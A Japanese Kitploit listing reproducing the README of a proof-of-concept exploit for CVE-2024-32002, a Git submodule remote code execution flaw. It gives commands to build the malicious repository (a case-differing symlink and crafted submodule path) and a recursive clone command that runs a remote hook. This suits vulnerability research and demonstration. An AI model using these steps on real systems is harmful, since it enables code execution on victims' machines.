Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2024-32002-poc-rce — CVE-2024-32002の概念実証エクスプロイト。大文字小文字を区別しないファイルシステム上の悪意のあるGitサブモジュールを介したリモートコード実行を示します。 | Kitploit
ツール/GitHubGitHub/jakob-pennington/cve-2024-32002-poc-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubjakob-pennington/cve-2024-32002-poc-rce

cve-2024-32002-poc-rce

CVE-2024-32002の概念実証エクスプロイト。大文字小文字を区別しないファイルシステム上の悪意のあるGitサブモジュールを介したリモートコード実行を示します。

リポジトリを見る
132年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-32002 RCE POC

CVE-2024-32002 の POC です。リモートコード実行 (RCE) を実証します。

関連するサブモジュールリポジトリについては、cve-2024-32002-poc-rce を参照してください。

このリポジトリの内容

  • .git ディレクトリにリンクする、任意の名前のシンボリックリンク。
  • 悪意のあるサブモジュールを定義する .gitmodules ファイル。

このリポジトリを再作成する方法

このリポジトリは Linux (具体的には WSL2) で作成されました。これは重要です。悪意のあるリポジトリは、大文字と小文字を区別するファイルシステム上でのみ作成できます。

  1. すべて小文字を使用してシンボリックリンクを作成します
root@kitploit:~
ln -s .git submodule

注:

  • シンボリックリンクは .git フォルダを指す必要があります。ここにファイルを書き込みたいからです。
  • シンボリックリンク名 (submodule) は任意ですが、小文字で始める必要があります。
  • これは重要です。小文字は大文字よりもソート順が先になるためです。クローン時にマシンがサブモジュールファイルの書き込み先を混乱した場合、通常のディレクトリではなくシンボリックリンクを選択させたいのです。
  1. サブモジュールディレクトリ名の大文字小文字の違いに注意して、悪意のあるサブモジュールを追加します
root@kitploit:~
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce

注:

  • サブモジュールの名前 ("rce/notexists") は重要です。サブモジュール内にフックを配置する際に関係してきます。
    • "rce" はサブモジュールのパスの最後のセグメントと一致する必要があります。
    • "notexists" は、サブモジュールディレクトリ内の hooks/post-checkout を格納するディレクトリの名前と一致する必要があります。cve-2024-32002-poc-rce を参照してください。
  • サブモジュールのパス ("Submodule/modules/rce") の構造も重要です:
    • サブモジュールのパスの最初のセグメント ("Submodule") は、上記のシンボリックリンク名と大文字小文字のみが異なる形で一致する必要があります。
    • 2 番目のセグメント ("modules") は、サブモジュールの git ステータスを追跡する .git ディレクトリ内のパス名と一致します。
    • 3 番目のセグメント ("rce") は、上記のサブモジュール名の最初のセグメントと一致する必要があります。

POC の実行方法

この脆弱性は、Windows と MacOS のみに影響します。どちらも大文字と小文字を区別しないファイルシステムを備えているためです。

  1. 脆弱性のあるバージョンの git を使用しているかどうかを確認します。影響を受けるバージョンについては GitHub advisory を参照してください。
root@kitploit:~
git --version
  1. RCE を達成できる可能性のあるコマンドを意図的に実行したいかどうかを考えてください... このリポジトリは無害ですが、本当に実行しますか?
  2. 次のコマンドを実行します:
root@kitploit:~
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
  1. POC が機能した場合、計算を行うことができるはずです!
ツールをダウンロード